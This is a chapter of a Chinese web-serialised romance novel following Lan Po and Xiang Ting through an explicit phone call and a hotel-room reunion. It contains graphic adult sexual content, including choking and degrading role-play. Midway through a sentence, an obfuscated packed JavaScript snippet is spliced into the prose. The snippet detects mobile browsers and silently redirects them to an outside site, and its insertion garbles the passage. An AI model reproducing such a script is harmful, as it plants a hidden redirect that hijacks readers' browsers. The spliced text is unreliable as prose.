蓝珀并不明白他字的所指,更加悲伤:“你本可以有很多个跟你姓的宝宝的。” 项廷勃然大怒:“你跟我姓不得了?” “那可是宝宝呀!” “你宝宝是我!我宝宝是你!” 蓝珀为了有力地回击第一次这么不优雅:“……屁。” “me!only me!” “这不一样的宝宝!” “他是宝宝我是狗狗吗?” “我……你!我这个话题很严肃的!” “我到底哪不严肃了,你教教我?”项廷拔出车钥匙都咻一声,不爽到了极点,“我都快给你搞出精神病了,我戴一辈子套。那玩意叫什么,结扎?” 蓝珀不是个目标感强的人,他无所事事,易感或玄想,挥霍地看待生死,戴着一串昂贵的念珠却不用手捻,人和东西都是摆设,注意力很轻易就被分散,跟着他构建叙事你是真完了。虽然项廷全是无意,但以惊驱惊真能治蓝珀,包治百病的。 蓝珀果然又苦又甜地笑了,苦刚冒了头便无影无踪,甜的笑容在脸上荡漾开来:“够讨厌的,明知故问。” “我知道我天打雷劈,”项廷寻思着,“明天让秘书查一下。” “你还有秘书!男的女的!” 男的男的。可项廷刚意识到自己竟是同性恋,似乎沾点嫌疑。女的女的,这不骗蓝珀。所以说:“辞了辞了。” “哼,辞掉就奖励你,”蓝珀想找回点场子,营造一种恩威并施的感觉,但话一出口他发现自己莫名地怯了,不清不楚道,“你说,今天一见到我……就想那个我吗?” “哪个你?打你嘴里?真不好讲。” 一丁点的风吹草动,就能加剧蓝珀的抑郁,变回地里一只可怜的小苦瓜,瓜肉一不小心就渗进了一点死亡之味:“不知怎么讲就不要讲了,缘浅就会修得两不欠,这是人命的无常,也是人命的实情。” 隔空捂不住项廷的嘴:“我哪哪都想打。” 天杀的还有下半句:“我都想给你泡个澡。” 蓝珀飞红了脸,拧了一把玩具熊,但和熊的这个距离不是要吃了他就是要亲他。双唇“不小心”碰上熊的眼睛,凉的一惊,却越发地意乱情迷了。极大决心闭上眼睛:“那……那你来吧。52F-ES,不要跑空了……” “来不了了,坐会。” “猴急的倒成我了?你是隐隐蛰伏、徐徐图之、美美撤离了!” “我真是靠了,”项廷呼吸粗重,“你讲话真他妈嗲。” 再酩酊大醉也明白过来怎么一回事了:“你这么……开车的?危不危险?” “没,你一说我感觉上来了。” 蓝珀轻轻倒抽一口气,感受着含苞欲放的身体内部空落落的一阵阵颤缩,酥麻酸痒。小声说:“一天天使不完的牛劲,你怎么跟上了发条似的……才一时半会儿的,一点儿也不消停?” “我也想问你给我上什么发条了,灌什么牌子迷药了。”项廷福至心灵似有所悟自问自答,“我海军你是海妖,你铁克我啊。” 蓝珀破涕为笑,伸手胳肢玩具熊的胳膊,但熊受过抗痒训练,居然没被他挠出反应。 “成天牛哄哄的,以为你项廷是个天不怕地不怕的主呢,你怎么也有怕的人?” “笑吧,笑大声点,你等我坐完了。” “那……你要坐多久?” 这座酒店位于历史悠久的金融区核心,毗邻波士顿公园和自由之路起点。车窗外人来人往,人均多国政要,这要项廷怎么下车? 项廷把外套的袖子打个结,系在腰上,正要推开车门。听到蓝珀娇慵,风致嫣然地问他:“你每天晚上都想着我吗?” “我马上就来梦想成真。” “什么?可你这样子进电梯别人不都看到了?” 项廷没好意思说他穿着“裙子”:“看就看了,我又不掉块肉。” “不要!不要!我会掉肉的,”蓝珀连忙稳住他,一迭声的哄他,“快说嘛,亲爱的,乖宝贝,心肝我的肉,摇小尾巴厉害,把你亲成一只傻咪,你都梦到我什么了?” 蓝珀又何尝不是夜夜在梦中与项廷相会呢?噩梦里,蓝珀梦见他们在一个质若翡翠的夏天以肉身飞翔,泅渡夜色,壮丽迁徙,风雪中枯枝迸裂的声音,篝火将两人的影子拓在古老的岩壁,孤岛,乐园,一副大红双喜字,谜样的月亮,想象力之外的魔法——哪怕青鸟衔丢了云中笺,月老系错了红头绳,可他和那个少年的故事明明是与天堂缔下的约,但又为什么展眼却作为一张卖身契把他变卖到了地狱?好梦里,项廷的那种态度,称得上珍惜。他将自己完全溶解在他的体内,进入血液汇成绛河,这样才算和全部的污秽的自己在一起,难分彼此,共生。欲望就是渴望消化对方,蓝珀很快面目不详,枯骨全无,亲眼看到自己只留下了一对畸形的翅膀。仅有一次项廷不在,那是他最喜欢的一个梦。蓝珀梦见自己化作一株无花果,叶片在夜风中自由开合,死于十七岁干净的黎明之前。 “梦你是我秘书,”项廷说,“坐我大腿。” 我梦见你十四行诗,你梦见我咸/湿。 蓝珀睁圆了眼睛:如果我绛珠这辈子是来找你还泪的,早知道还不如你神瑛上辈子拿甘露浇死我!何苦凡心偶炽,何必下世为人! 但蓝珀的炸点其实不是这个。他在床上正反反正烙饼,换什么姿势心脏都好难受实在熬不住了:“你暗恋你秘书!你俩私下肯定偷偷亲嘴吧!” 显然项廷搞不懂他那一套逻辑,男孩一般都懂得晚。但蓝珀的问题是拆了他防洪的一块板子,后头的话如七八月入海口的黄河水般汹涌而出:“我梦到你骑在我的脖子上打我耳光,挨鞭子,给我嘴里塞个假的,你骑完我的脖子,挺着胸骑我的脸……一边骑一边问,当男人的感觉怎么样,干/妈妈的感觉怎么样?” 无疑他被项廷的话深深吸引了,蓝珀成功又给项廷带跑偏了,风动心动身动:“你怎么……你真的好坏!你这么好,这么开窍,那你愿意吗?不违心的……” “是爷们谁愿意,但你说只要骑一下就允许小狗把头钻进姐姐的裙子里。” 蓝珀竟然没任何响动,这一句话在心里横冲乱撞,烫红了心口。 项廷说:“你还骂我废物,宝宝快点吐奶,再出不来拿什么给妈妈擦鞋。你又说,都是为了吃到宝宝的泡芙。” 蓝珀的喉结在绷紧白玉般的脖颈间剧烈滑动,腰肢透出狞厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484856|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的美:“我哪有这么下贱……” “你不是下贱你是纯骚,”项廷低叹一声,“骚得我特别想娶。” 痒到脚趾都要抓紧的感觉,可是不深入真的不行,不解痒。可是蓝珀对别人多熟练就对自己多生疏,被水淹没不知所措的蓝珀,左支右绌稍不小心,忍着疼没声张,但还是漏出了绵软的轻哼:“出去……” “进来哪有再出去的道理?” “那,就老实呆着别碰我了……” “你是我老婆我想怎么碰就怎么碰,再这样,我真亲你了。” 蓝珀连推开玩具熊的手都断续无力。不难想象,即将发生的是一个吻,而这个吻对他来说意义重大。颤抖着闭上眼睛,好像真有一条火热的舌头舔开了他紧紧闭合的双唇,蛮不讲理,力大无穷,却又像云朵在嘴里化开不见了…… 趁雪化之前,蓝珀近乎失了控地说:“我想要你快想疯了……” 项廷在幻想里反思力使得太匀了:“轻点重点?” “要重重的……不,轻点,省着点,我明天还要,后天呢……”蓝珀后头说的根本听不清了,呜一会儿咽一会儿,急需要来个人翻译翻译这是在发什么电报。 “别哭了,”项廷心揪起来,“你要能不哭,我宁愿少活三年。” 醉里颠倒,蓝珀神志已经不太清晰了:“我和你以前在一起不到三年,可我却花了七年来忘记,里外里,你欠我十年的寿命,不是三年。” “未来每个十年我都会对你好的,二十年比十年更好。咱两金婚,啊。” “不是十年,”肩胛骨像薄得似有似无的蜻蜓翅膀神经质地振动,腰在□颤中欲断,“离开你的每一天我度日如年,所以项廷,原来为了相见的那一面,你赊了我一百世。” “那我每辈子都来对你好,我就一头研究一门心思对你好。” “你,寻不到我的。” “我今晚上就开始上香行吗?你给开个介绍信,哪个佛管这事?” 蓝珀笑笑就过去了:“你对我好我心里明白,但我越想越觉得自己是那个暖了蛇的农夫。你要能永远不会死掉该多好,不然,难道我要历经百世轮回犯下一百次错误?” “蛇会报恩的!” “那你就不是蛇,你是大虫子。你是蜈蚣、蝎子、毒蛇、蟾蜍、蜘蛛。” “你说什么就是什么,你家里老大行了吧?给你眼儿堵住,看你怎么哭?” 一晌过后,花药满床。 蓝珀的心倏地沉了下去,冰冷空洞,就像肠子刚刚掉出来了似的,脑子却反而无以复加地清晰起来,仅仅皱了皱眉:“项廷,我发现,我其实并不爱你。” 蓝珀心绪忽的澄明如揽,好似回到了那个远得无法企及的苗疆:高山融雪形成冷玉色的河水,冲刷着两岸卵石滩,响彻浩大之声,阿妈的呼唤、阿妹的山曲,尘世中的天籁。那个赤足踩过苔痕斑驳的跳岩,开满火把花的羊肠路,挂满银雀、银蝴蝶、银长羽、伞状的银花,霜降时节佩满月光的少女,永远不会把他的传统、他的歌谣及他的传奇带着它们去到苗寨之外的人间,可就像在原野上看到瞪羚忽忽然纵身一跃,那时的他却不知它终将落在多遥远的远方…… 那个他可是圣女,还不曾自轻自贱,想象过毁灭。蓝珀脸上流露出一种稀有而别样的纯真,他在想,是否这一段旷世之恋,只因他最爱的是当年的自己?项廷是世上唯一记得他依稀模样的人,只有透过他的瞳孔,才能看见那个相信银镯能锁住灵魂,银项圈里住着整条清水江,红衣赤诚如同初雪的自己。 项廷懵了:“怎么说?” 云山雾罩,蓝珀的声音很远,足够空旷,神就居住在高处不胜寒的地方:“上帝看见了,上帝不说。” 紧接着电话只剩忙音了。 蓝珀怔住了,一下子给雷劈下凡间:这样说是不是太伤项廷了?我把话说得太狠了?项廷也真是的!他不一样也是男人,难道不懂男人什么时候最贤?哪怕我即兴创作最刺耳的悼词,少年夫妻爱情的挽联,你就不能视而不见?我也只是想你怜上一怜!怎么办?怎么办?阿妈阿妹吉宇鸟糍粑饭,谁来告诉他该怎么办?快想找多高的楼往下跳吧! 砰! 砰砰梆! 大门声儿。 声好大,好像今夜全城的流氓团伙都来了。 可五星酒店的门难道是纸糊的?比一般保险柜都森严。项廷的房卡又只有宾客权限,何崇玉可是上了三道锁的!但哪个设计师能料到有人肘了防火救援窗,取了液压剪裁器把喝剩的可乐铝罐制成一小条撬棍,根本不吃电子攻击这套没有感应模块的资本主义世界先进锁芯,一捅瞎捅竟然缴了几分械,现代人有时候太狡黠了,缺少可爱可敬的笨拙,结果反而被聪明所误。侧身再一猛撞,哔啵哔啵——满楼火警响了。 蓝珀尚在展望阳台海拔,项廷已猛虎扑食将他摁在了床上。 “唔——!”尚未说出口的话已被滚烫的唇舌堵住,断了所有退路,蓝珀被迫承欢被压着亲,被掐住了脖子撕扯更有力量感。近乎窒息的压制令蓝珀仰起头颅,暴露出更多脆弱。项廷的犬齿咬着他的下唇反复研磨,出闸猛兽确认猎物的所有权。 单手钳住蓝珀的手腕高举过头顶,膝盖强势□,将人彻底钉在凌乱的床褥里。 一步到位咫尺之间,蓝珀挣扎着说:“等等!” (……) “我还等!信你个鬼!” “等最后一下!真的、真的!”蓝珀把嘴巴一抿,由下而上眼睛溜圆的看着他。 项廷愈是真诚无瑕,蓝珀对自己的伪装就愈讨厌。无论如何他都想袒露自己的真面目,希望项廷了解他的心意,他不想再在他面前有任何秘密。可是挑那么明做什么,难道还想叫项廷为自己改变什么么?他不撕开这张脸,他还得维持着这个局面,这对蓝珀很重要,是不是? 蓝珀掌心贴着他剧烈起伏的胸膛安抚地下滑,细细地喘着,慢慢说道:“我是个没有家人的人了,你……你接不接受我是一个身体……心理残疾的人?或者,你以后,可以带我见你的家人吗?” 话音刚落,他就自动妥协了,他不敢要那么多:“我是说,见见你的朋友呢?就是,你北京的那些兄弟呢?也不用太熟……” 我靠,这多大的面儿啊!祖坟冒青烟,那叫祖坟吗,我家住北京昌平天寿山南麓,面阔九间、进深五间,皇陵吧?我项廷上辈子少说秦皇汉武成吉思汗啊!美国总统有什么意思,我直接星际争霸,开战! 但是项廷声带仿佛被欲望熔断,一味地在蓝珀双唇里求索,暴风雨般席卷,光顾着硬了,应不了。 蓝珀被他吸得舌头好痛,一丝丝磨人的麻痒向四肢游走开去,唇齿分开的间隙,还在自己说服自己:“当我没说吧……好不好?你不用心情太坏了……” 然而项廷骤然一停,蓝珀悄悄动了动腰,一双雪白的长腿把项廷的腰绞紧:“干什么呀?故意的,又不是第一次了,还要我教你嘛?” 是干嘛呢?是带着蓝珀见兄弟,太爽了,给项廷直接想高潮了,不止颅内。 蓝珀真反应了好一会才往他胸口狠锤一下又一下,气哭了:“你除了弄我一脸口水还有什么用!” 又哭又笑啼笑皆非的:“你这叫报恩吗?你是报复我!谢谢你让我爆笑?” 萎靡项廷:“……你就说你笑没笑吧。” 这时房外传来一阵紧张的脚步声。 何崇玉虽然守夜守到中途回去了,但被火警声惊醒。带着安保一起赶来看看什么情况? 蓝珀吓坏了,扬声道:“没事!误会,快走吧!” “你还好吗?”何崇玉担心他,请安保离开以后,径自步入了客房。 只见蓝珀卧房洞开,何崇玉扫雷一般走到门口,空无一人。儿子仰头看了看何崇玉,表情好似再说:爸,你那退半步的动作是认真的吗? 何崇玉心智上只能算半个成年人,所以这伊甸花园香浓的气息对他来说,若有似无,大可以忽略不计。 “蓝?” “我…唔我在呢!我,我在换衣服……” “你躲在衣柜里换?” 何崇玉一脸难以置信地走近,地上一只水哒哒的玩具熊。 “你管我呢,自由国度,属于我的自由。” “哦哦,哦……!”何崇玉赶忙退出去了,“你请自便。” 外头好像没声了。蓝珀推开一点衣柜门,看到何崇玉趴在客厅的地板上找东西的样子。正恨着他时候,手突然被拉住了。 这只手来自隔壁的项廷。 隔壁二字不准确,他俩是藏进了一个衣柜。但是蓝珀预见性地怕项廷在人前对他做出格的事,把项廷塞进去以后,自己进了有块薄薄木板之隔的所谓隔壁。 难不倒项廷。蓝珀应付何崇玉的时候,项廷凿壁偷光似的,他拿那个可乐片儿划拉出了一个缺口,手便伸过来与蓝珀十指交握了。 蓝珀怕他整个人钻过来:“不要,好热。” “那怎么办。” “你想办法。” “你以为我想这样,”项廷握着他的手密不可分,拇指摩挲他的虎口,食指在他手背上画圈,忽然加重力道捏了捏他的手心,“蓝珀,我好像已经忍不住开始想你了。” 蓝珀张开五指与他十指紧扣,好好的突然恼了:你早该这样想我!又好酸:你早又干嘛去了? 好像指尖只要轻轻一离开就会化做萤火一样,蓝珀两只手都握住了他的一只手,抑不住放了悲声:“你不要生我的气,冷落我,不可以再不要我了。我,我也没有不爱你!……” 他怎么突然说这个,项廷都忘了缘故。哦!想起来了,但项廷一向有情绪自个就消化了。蓝珀是说了不爱他,但那是蓝珀没有主见加闲的,也不能说不可爱,虽然有点弱智过头。 “那我是你老公不是?”项廷不等到他回答,俯身在他手背上落下一个吻,“我爱你就够了,你要多爱爱你自己。” 蓝珀的一只手还和他握着,身体却滑了下去。他蜷如退潮后裸露的礁石,终于坦然接受月光的审视。 何崇玉去而复返:“蓝,你见到我的手机没有?” 蓝珀说:“晕死!你好烦,我明天重新给你买一个。” “唉!那好吧,”何崇玉没有多想。 多想也无益,毕竟,谁能想到有的人为了钓鱼,甚至舍不得下本,甚至把朋友的手机扔进了沙发缝里呢? 项廷引以为傲的变声器使用了不到三分钟就报废了,什么布鲁斯?扒了皮化成灰,化成詹姆斯邦德,蓝珀都一眼认出来,后头还有九十九世呢! “蓝,你听起来很开心。”何崇玉想到自己妻离子散,“比我开心多了。” “那可不是吗?你没了老婆,”蓝珀把项廷的手往怀里拽了又拽,为什么这么大一只,不能一整个拉过来,“我呢,可是有了小老公……”